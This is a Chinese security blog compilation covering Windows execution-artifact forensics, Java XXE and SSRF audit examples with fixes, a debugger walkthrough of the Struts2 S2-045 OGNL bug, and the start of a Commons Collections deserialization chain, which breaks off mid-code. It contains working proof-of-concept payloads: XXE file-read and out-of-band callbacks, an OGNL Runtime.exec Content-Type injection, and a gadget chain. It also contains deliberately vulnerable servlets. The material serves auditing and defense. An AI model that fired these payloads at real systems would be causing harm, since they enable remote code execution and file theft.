Posted on | In

2018-10-29 首发于阿里先知: https://xz.aliyun.com/t/3067

本文主要简述当Windows系统中存在恶意可执行程序时，如何发现恶意程序的执行痕迹（文件路径、时间等），以及相关的辅助分析工具。
从注册表、文件、日志三个方面介绍，以及简单介绍下Win10中的几个特有功能。

一、注册表

1)ShimCache

ShimCache 又称为AppCompatCache，从 Windows XP开始存在，用来识别应用程序兼容性问题。跟踪文件路径，大小和上次修改时间（LastModifiedTime）和上次更新时间（LastUpdateTime）。
其中在Windows7/8/10系统中最多包含1024条记录，Windows7/8/10系统中不存在“上次更新时间”。
注册表中位置：

1
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache

辅助工具AppCompatCacheParser

https://github.com/EricZimmerman/AppCompatCacheParser/

1
2
usage：
AppCompatCacheParser.exe --csv d:\temp  -t


辅助工具ShimCacheParser

https://github.com/mandiant/ShimCacheParser

1
2
3
usage：
reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" shimcache.reg
ShimCacheParser.py -o out.csv -r D:\Tool\TEST\shimcache.reg -t


2)UserAssist

userassist键值包含GUI应用执行的信息，如名称、路径、关联快捷方式、执行次数、上一次执行时间等。
注册表中位置：

1
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count

image.png

辅助工具UserAssist_V2_6_0

https://blog.didierstevens.com/programs/userassist/
image.png

3)MUICache

MUICache记录执行程序的名称和路径，但是没有记录相关执行时间。
注册表中位置：

1
2
HKCU/Software/Microsoft/Windows/ShellNoRoam/MUICache (XP, 2000, 2003) 
HKCU/Software/Classes/Local Settings/Software/Microsoft/Windows/Shell/MuiCache  (Vista, 7, 2008)

image.png

image.png

辅助工具muicache_view

http://www.nirsoft.net/utils/muicache_view.html

image.png

二、文件

1)Prefetch

Prefetch（预读取），从Windows XP开始引入，用来加速应用程序启动过程。Prefetch包含可执行文件的名称、文件时间戳、运行次数、上次执行时间、Hash等。
Win7上记录最近128个可执行文件的信息，Win8-10上的最近1024个可执行文件。

文件路径:

1
C:\Windows\Prefetch

注册表HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters 中EnablePrefetcher的键值控制是否开启Prefetch。
EnablePrefetcher的数值设置：
0 =已禁用
1 =启用应用程序预读取
2 =启用引导预读取
3 =启用应用程序和引导预读取（最佳和默认）
虽然Windows 2003中也存在Prefetch，但默认为2,仅用于引导预读取。

image.png

辅助工具PECmd

https://github.com/EricZimmerman/PECmd

1
2
usage：
PECmd.exe -d "C:\Windows\Prefetch" --csv "d:\temp" --json d:\temp\json

image.png

image.png

2)Amcache

Amcache.hve记录执应用程序的执行路径、上次执行时间、以及SHA1值。
文件路径:

1
C:\Windows\AppCompat\Programs\Amcache.hve

image.png

辅助工具AmcacheParse

https://github.com/EricZimmerman/AmcacheParser

1
2
usage：
AmcacheParser.exe -f C:\Windows\AppCompat\Programs\Amcache.hve --csv d:\temp

image.png

image.png

3)Jump Lists

Windows 7-10用来任务栏显示经常使用或最近使用的项目。
文件路径：

1
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations

image.png

辅助工具JumpListExplorer

https://ericzimmerman.github.io/Software/JumpListExplorer.zip

image.png

三、日志

1) 安全事件日志Security Log (592/4688)

Windows 7、Windows Server 2008 R2 /2012 及之后，会在每次创建一个进程时创建一个事件日志，并传递到该进程的命令行信息。事件将记录到现有事件 ID 4688 并保存到 Windows 安全日志。但仅在启用了“审核进程创建”时记录4688。

1
2
592   创建一个新进程（Windows Server 2003）
4688  创建一个新进程（Windows 7、Windows Server 2008 R2/ 2012及之后）

image.png

2) 系统事件日志System Log (7035/7036)

Windows XP/7/ Windows Server 2003,当服务启动或停止时，服务控制管理器会记录到系统事件日志中的ID 7035。因此，如果关联的进程被注册为服务，则可发现执行痕迹。

1
2
7035   Service Control Manager    xxx服务成功发送一个开始控件。
7036   Service Control Manager    xxx服务处于 正在运行/停止 状态

image.png

3) 计划任务日志TaskScheduler

计划任务日志中也可能发现可执行文件执行的痕迹。

image.png

四、Win10特有功能

1) RecentApps（win10）

Windows 10
注册表中位置：

1
HKCU\Software\Microsoft\Windows\Current Version\Search\RecentApps

2) BAM/Background Activity Monitor (win10)

从Windows 10 1709 (Fall Creators update)版本开始引用。
注册表中位置：

1
HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}

3) ActivitiesCache.db（win10）

从Windows 10 1803 (April 2018)版本开始引用。
文件路径：

1
C:\Users\<profile>\AppData\Local\ConnectedDevicesPlatform\L.<profile>\ActivitiesCache.db

参考

https://blog.1234n6.com/2018/10/available-artifacts-evidence-of.html?m=1
https://www.andreafortuna.org/dfir/forensic-artifacts-evidences-of-program-execution-on-windows-systems/
https://www.fireeye.com/blog/threat-research/2013/08/execute.html
https://www.andreafortuna.org/cybersecurity/amcache-and-shimcache-in-forensic-analysis/

Posted on | In

2018-09-19 首发于阿里先知: https://xz.aliyun.com/t/2761

一、XXE

0x01 XXE漏洞简介

XXE（XML外部实体注入，XML External Entity) ，在应用程序解析XML输入时，当允许引用外部实体时，可构造恶意内容，导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议：http，https，file，ftp，mailto，jar，netdoc。一般利用file协议读取文件，利用http协议探测内网，没有回显时可组合利用file协议和ftp协议来读取文件。

0x02 XXE相关基础概念

XML&DTD

XML （可扩展标记语言，EXtensible Markup Language），是一种标记语言，用来传输和存储数据，而非显示数据。
DTD（文档类型定义，Document Type Definition）的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体ENTITY

XML中的实体类型，一般有下面几种：字符实体、命名实体（或内部实体）、外部普通实体、外部参数实体。除外部参数实体外，其它实体都以字符（&）开始，以字符（;）结束。

1)字符实体

字符实体类似html中的实体编码，形如：a（十进制）或者a（十六进制）。

2)命名实体（内部实体）

内部实体又称为命名实体。命名实体可以说成是变量声明，命名实体只能声明在DTD或者XML文件开始部分（<!DOCTYPE>语句中）。
命名实体（或内部实体）语法：

实体名称 "实体的值">```
1
如：

<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE root [
<!ENTITY x “First Param!”>
<!ENTITY y “Second Param!”>
]>

&x;&y;

1
2
3
4
5
6
7
定义一个实体名称x 值为First Param!
&x;  引用实体x

###### 3)外部普通实体 
外部实体用于加载外部文件的内容。（显式XXE攻击主要利用外部普通实体）
外部普通实体语法：
```<!ENTITY 实体名称 SYSTEM "URI/URL">

如：

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
    <!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>

4)外部参数实体

参数实体用于DTD和文档的内部子集中。与一般实体不同，是以字符（%）开始，以字符（;）结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。（Blind XXE攻击常利用参数实体进行数据回显）

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % param1 "Hello">
    <!ENTITY % param2 " ">
    <!ENTITY % param3 "World">
    <!ENTITY dtd SYSTEM "combine.dtd">
    %dtd;
]>
<root><foo>&content</foo></root>

combine.dtd中的内容为：

1
<!ENTITY content "%param1;%param2;%param3;">

上面combine.dtd中定义了一个基本实体，引用了3个参数实体：%param1;，%param2;，%param3;。
解析后…中的内容为Hello World。

0x03 XXE审计函数

XML解析一般在导入配置、数据传输接口等场景可能会用到，涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体，从而判断是否存在XXE。部分XML解析接口如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………

0x04 常用测试POC

POC1-外部普通实体

当有回显时，利用ftp协议来读取文件

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]> 
<user><username>&xxe;</username><password>123456</password></user>

POC2-外部参数实体

无回显时 利用http协议来发起请求

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ 
<!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
%lltest;
]>

0X05 XXE漏洞代码示例

解析XML的方法越来越多，常见有四种，即：DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示XXE漏洞。

1) DOM Read XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {		
       String result="";
	try {
		//DOM Read XML
		DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     
        DocumentBuilder db = dbf.newDocumentBuilder();					
		Document doc = db.parse(request.getInputStream());
		
		String username = getValueByTagName(doc,"username");
		String password = getValueByTagName(doc,"password");
		if(username.equals(USERNAME) && password.equals(PASSWORD)){
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
		}else{
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
		}
	} catch (ParserConfigurationException e) {
		e.printStackTrace();
		result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
	} catch (SAXException e) {
		e.printStackTrace();
		result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
	}
	response.setContentType("text/xml;charset=UTF-8");
	response.getWriter().append(result);
}
2) DOM4J Read XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {		    
       String result="";
	try {
		//DOM4J Read XML
		SAXReader saxReader = new SAXReader();
		Document document = saxReader.read(request.getInputStream());
		 
	    String username = getValueByTagName2(document,"username");
		String password = getValueByTagName2(document,"password");
		 
		if(username.equals(USERNAME) && password.equals(PASSWORD)){
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
		}else{
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
		}		 		 
		
	} catch (DocumentException  e) {
		System.out.println(e.getMessage());
	} 
	response.setContentType("text/xml;charset=UTF-8");
	response.getWriter().append(result);
}
3) JDOM2 Read XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {		       
       String result="";
	try {
		//JDOM2 Read XML	
		SAXBuilder builder = new SAXBuilder();	
	    Document document = builder.build(request.getInputStream());
		 
	    String username = getValueByTagName3(document,"username");
		String password = getValueByTagName3(document,"password");
		 
		if(username.equals(USERNAME) && password.equals(PASSWORD)){
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
		}else{
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
		}
		 
	} catch (JDOMException  e) {
		System.out.println(e.getMessage());
	} 
	response.setContentType("text/xml;charset=UTF-8");
	response.getWriter().append(result);
}
4) SAX Read XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {		
	//https://blog.csdn.net/u011024652/article/details/51516220
	String result="";
	try {
		//SAX Read XML
		SAXParserFactory factory  = SAXParserFactory.newInstance(); 
		SAXParser saxparser = factory.newSAXParser();  
		SAXHandler handler = new SAXHandler();  
		saxparser.parse(request.getInputStream(), handler);
		//为简单，没有提取子元素中的数据，只要调用parse()解析xml就已经触发xxe漏洞了
           //没有回显  blind xxe
		 result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);

	} catch (ParserConfigurationException e) {
		e.printStackTrace();
		result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
	} catch (SAXException e) {
		e.printStackTrace();
		result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
	}
	response.setContentType("text/xml;charset=UTF-8");
	response.getWriter().append(result);
}
0x06 XXE漏洞防御

使用XML解析器时需要设置其属性，禁用DTDs或者禁止使用外部实体。

以上例中DOM - DocumentBuilderFactory为例，防御代码如下:

1
2
3
4
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
//如果不能禁用DTDs,可以使用下两项，必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);      //防止外部普通实体POC 攻击
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //防止外部参数实体POC攻击


其它XML解析器的漏洞防御可参考
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

上述XXE漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MyXXE

二、SSRF

0x01 SSRF漏洞简介

SSRF(Server-Side Request Forge, 服务端请求伪造)，攻击者让服务端发起指定的请求，SSRF攻击的目标一般是从外网无法访问的内网系统。Java中的SSRF支持sun.net.www.protocol 里的所有协议:http，https，file，ftp，mailto，jar，netdoc。相对于php，在java中SSRF的利用局限较大，一般利用http协议来探测端口，利用file协议读取任意文件。

0x02 SSRF审计函数

SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。
代码审计时需要关注的发起HTTP请求的类及函数，部分如下：

1
2
3
4
5
6
7
8
9
10
HttpURLConnection. getInputStream
URLConnection. getInputStream
Request.Get. execute
Request.Post. execute
URL.openStream
ImageIO.read
OkHttpClient.newCall.execute
HttpClients. execute
HttpClient.execute
……

0x03 SSRF漏洞代码示例

1) HttpURLConnection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
 //HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
 URLConnection urlConnection = u.openConnection();  
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;   
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞
String inputLine;
 StringBuffer html = new StringBuffer(); 

 while ((inputLine = in.readLine()) != null) {
         html.append(inputLine);
        }        
 System.out.println("html:" + html.toString());
 in.close();
2) urlConnection
1
2
3
4
5
6
7
8
9
10
11
12
//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
     html.append(inputLine);
}        
System.out.println("html:" + html.toString());
in.close();
3) ImageIO
1
2
3
4
// ImageIO ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞
4) 其他
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//发起请求

// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream();  //发起请求


// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute();  //发起请求

// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //发起请求

0x04 SSRF漏洞防御

1）限制协议为HTTP、HTTPS协议。
2）禁止30x跳转。
3）设置URL白名单或者限制内网IP。
4）限制请求的端口为http常用的端口。

以上例中HttpURLConnection为例，防御代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
String url = request.getParameter("url");
if (!SSRFHostCheck(url)) {
        System.out.println("warning!!! illegal url:" + url);
         return;
}    
URL u = new URL(url);
 
URLConnection urlConnection = u.openConnection();  
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;   
            
httpUrl.setInstanceFollowRedirects(false); //禁止30x跳转
            
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
……………………


public static Boolean SSRFHostCheck(String url) {
	try {
	   URL u = new URL(url);
	   // 限制为http和https协议
           if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
           String uProtocol = u.getProtocol();
           System.out.println("illegal Protocol:" + uProtocol);
           return  false;
         }
           
          // 获取域名或IP，并转为小写
          String host = u.getHost().toLowerCase();
          String hostwhitelist = "192.168.199.209";     //白名单    
          if (host.equals(hostwhitelist)) {
       	   System.out.println("ok_host:" + host);
       	   return true;
           } else {
           	System.out.println("illegal host:" + host);
           	return false;
          }
	    } catch (Exception e) {
	        return false;
	    }
	}

上述SSRF漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MySSRF

参考

https://xz.aliyun.com/t/1633
http://rickgray.me/2015/06/08/xml-entity-attack-review/
https://github.com/c0ny1/xxe-lab/blob/master/java_xxe/src/me/gv7/xxe/LoginServlet.java
https://joychou.org/java/javassrf.html
https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java

Posted on | In

2018-09-08 首发于阿里先知: https://xz.aliyun.com/t/2712

0x00 OGNL表达式

1) ognl基本介绍

OGNL是Object-Graph Navigation Language（对象图导航语言）的缩写，它是一种功能强大的表达式语言(比EL更强大)，通过简单一致的表达式语法，可以存取对象的任何属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。
xwork提供了OGNL表达式。其jar包为ognl-x.x.x.jar。
Struts2框架使用OGNL作为默认的表达式语言。
OGNL有三大要素，分别是表达式、根对象、Context对象。
表达式是整个OGNL的核心，OGNL根据表达式去对象中取值。所有OGNL操作都是针对表达式解析后进行的。
根对象（Root）:Root对象可以理解为OGNL的操作对象，表达式规定了”做什么”，而Root对象则规定了”对谁操作”。OGNL称为对象图导航语言，所谓对象图，即以任意一个对象为根，通过OGNL可以访问与这个对象关联的其它对象。
Context对象:OGNL的取值还需要一个上下文环境。Root对象所在环境就是OGNL的上下文环境(Context)。上下文环境规定了OGNL的操作在哪里进行。上下文环境Context是一个Map类型的对象，在表达式中访问Context中的对象，需要使用”#”号加上对象名称，即#”对象名称”的形式，表示了与访问Root对象的区别。

2)ognl基本用法示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package lltest;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class ognltest1 {
	 public static void main(String[] args) throws OgnlException {
     //创建一个Ognl上下文对象
     OgnlContext context = new OgnlContext();

	 // 调用对象的方法 
    Object obj1 = Ognl.getValue("'helloworld123'.length()", context, context.getRoot());
    System.out.println(obj1);

    // 获取OGNL上下文的对象
    context.put("name", "lltest");
    Object obj2 = Ognl.getValue("#name", context, context.getRoot());
    System.out.println(obj2);

    //调用类静态方法
    //@[类全名(包括包路径)]@[方法名|值名]
    Object obj3 = Ognl.getValue("@java.lang.String@format('hello %s', 'lltest')", context);
    System.out.println(obj3);
	 }
}

说明：需要导入ognl-3.0.6.jar

3) ognl执行系统命令

用法： @[类全名(包括包路径)]@[方法名|值名] 即@包名.类名@方法名 如:

1
Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);

完整示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package lltest;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class OsExec {
	 public static void main(String[] args) throws OgnlException {
		 OgnlContext context = new OgnlContext();
		//@[类全名(包括包路径)@[方法名|值名]]
		 //执行命令
		 Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
		 System.out.println(obj);
	 }
}

说明：需要导入javassist-3.11.0.GA.jar和ognl-3.0.6.jar 两个jar包

0x01 S2-045漏洞简述

Struts2默认处理multipart上传报文的解析器为Jakarta插件（org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类）。
但是Jakarta插件在处理文件上传(multipart)的请求时会捉捕异常信息，并对异常信息进行OGNL表达式处理。当content-type错误时会抛出异常并带上Content-Type属性值，可通过构造附带OGNL表达的请求导致远程代码执行。
影响Struts2版本： Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
官方通告详情：
https://cwiki.apache.org/confluence/display/WW/S2-045

0x02 S2-045漏洞分析

为复现漏洞，可使用struts2.3.x环境下自带的struts2-showcase演示demo示例环境，进行漏洞复现。下载struts-2.3.20-apps.zip (http://archive.apache.org/dist/struts/2.3.20/ )
或者自行编写简单测试样例，不去详述了。
下面使用eclipse对struts-2.3.20进行动态分析：

1) 漏洞补丁对比

https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a?diff=split
主要对core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java中的
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); 进行删除，并重新定义

2)Jakarta解析multipart上传请求

Struts2默认处理multipart上传报文的解析器是plugin插件（org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类）

StrutsPrepareAndExecuteFilter类是Struts2默认配置的入口过滤器。Struts2首先对输入请求对象request的进行封装：

1
request = prepare.wrapRequest(request);

路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\ng\filter\StrutsPrepareAndExecuteFilter.java

跟进wrapRequest()

继续跟进wrapRequest()
路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\Dispatcher.java

此处有两个关注点：

1
1）if (content_type != null && content_type.contains("multipart/form-data")) {

S2-045的POC一般都有(#nike=’multipart/form-data’)这样一句，就是使content_type.contains(“multipart/form-data”)判断为true

1
2）MultiPartRequest mpr = getMultiPartRequest();

继续追踪getMultiPartRequest方法。通过配置struts.multipart.parser属性，可以指定不同的解析类，而默认就是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。

3) 加断点动态测试

弹出计算器POC：

1
Content-Type: haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

JakartaMultiPartRequest.java - buildErrorMessage()

路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\multipart
在return LocalizedTextUtil.findText()处加断点

1
2
3
4
5
6
7
protected String buildErrorMessage(Throwable e, Object[] args) {
      String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
      if (LOG.isDebugEnabled()) {
          LOG.debug("Preparing error message for key: [#0]", errorKey);
      }
      return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); //加断点
  }


到达断点return LocalizedTextUtil.findText()，执行下一步，即可弹出计算器：
此时e的值为:

1
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};


下面到达断点return LocalizedTextUtil.findText() 然后跟进findText()方法继续调试

LocalizedTextUtil.java

路径struts-2.3.20\src\xwork-core\src\main\java\com\opensymphony\xwork2\util\ LocalizedTextUtil.java

findText()
1
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);

跟进LocalizedTextUtil.findText()

1
return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);

继续跟进return findText()

1
2
3
此时indexedTextName为：null
defaultMessage为：
the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

getDefaultMessage()
1
result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);

继续跟进getDefaultMessage()

TextParseUtil.java - translateVariables()
1
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

继续跟进 translateVariables()

translateVariables()方法使用了 ognl 的 $ 与 % 标签，两者都能告诉执行环境 ${} 或 %{} 中的内容为ognl表达式。所以POC中使用 % 或者$ 都可以触发漏洞。

1
return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);

继续跟进return translateVariables()
最后调用了evaluate()方法解析OGNL，执行代码

1
此时expression值为the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

evaluate()方法说明
1
ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {

跟进ParsedValueEvaluator()

translateVariables()方法继承接口com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator
在创建对象后重写了evaluate()方法
通过该方法的说明文档可知evaluate()方法会解析ognl表达式
https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/TextParseUtil.ParsedValueEvaluator.html

参考:

https://paper.seebug.org/241/
https://paper.seebug.org/247/

Posted on | In

(一) Commons Collections漏洞简介

2015年11月6日，FoxGlove Security安全团队的@breenmachine 发布的一篇博客[1]介绍了如何利用Java反序列化漏洞，来攻击WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些Java应用，实现远程代码执行。【影响到WebLogic的反序列化漏洞定为CVE-2015-4852】

其实，博客作者并不是漏洞发现者。博客中提到，早在2015年的1月28号，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[2]，报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行，当时并没有引起太大的关注，，可以说是2015年最被低估的漏洞。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons Collections被广泛应用于各种Java应用的开发。

该漏洞的出现的根源在Commons Collections组件中对于集合的操作存在可以进行反射调用的方法，并且该方法在相关对象反序列化时并未进行任何校验。

(二) InvokerTransformer类的transform()方法

InvokerTransformer类的transform()方法是漏洞的根源，可以看到该该方法中采用了反射的方法进行函数调用,Input参数为要进行反射的对象,iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数

在invokeTransformer这个类的构造函数中可以发现,这三个参数均为可控参数

InvokerTransformer是Transformer接口的实现类。
org.apache.commons.collections.Transformer接口上,可以看到该接口值定义了transform方法, 作用是给定一个Object对象经过转换后同时也返回一个Object

(三) 找谁调用InvokerTransformer的transform

后面核心的问题就是寻找哪些类调用了Transformer接口中的transform方法。通过eclipse找到了以下类调用了该方法，有两个比较明显的类调用了transform方法，分别是TransformedMap 和 LazyMap
说明：ysoserial中的POC大多使用LazyMap来进行构造，其实这里TransformedMap构造触发更为简单,但是TransformedMap+ AnnotationInvocationHandler可能触发不成功，因为与jdk版本有关 jdk8u某些版本删除了memberValue.setValue()

(四) TransformedMap分析

1) TransformedMap调用了transform

先分析下TransformedMap类，这个利用链比较简单
TransformedMap类checkSetValue(Object value)方法调用了transform()方法

跟踪下valueTransformer这个变量，看看该变量是在哪被初始化的。看到这里的decorate方法会对valueTransformer进行初始化，同时实例化一个TransformedMap

继续看谁调用了checkSetValue(Object value) ，找到setValue(Object value)方法
在MapEntry类中的setValue()恰好调用了checkSetValue,这里直接触发了tranform函数

为了能成功调用transform方法,找到了TransformedMap方法,发现在checkSetValue(Object value)方法中调用了该方法, 最终在MapEntry类中的setValue恰好调用了checkSetValue,最终触发了tranform函数。

2) 利用反射本地执行命令POC

上面分析完调用关系，那么后面要想任意代码执行，就可以首先构造一个Map和一个能够执行代码的ChainedTransformer，以此生成一个TransformedMap，然后去触发的MapEntry的 setValue()方法，即可触发我们构造的Transformer。
说明：这里的ChainedTransformer为链式的Transformer,会挨个执行我们定义的Transformer

TransformTest2.java

测试代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package lltest;

import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class TransformTest2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, 
                    new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        //key和value的值可以为任意值
        innerMap.put("name", "hello") ;
        //outerMap类型为TransformedMap
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
       //获取当前Map.Entry的key和value值
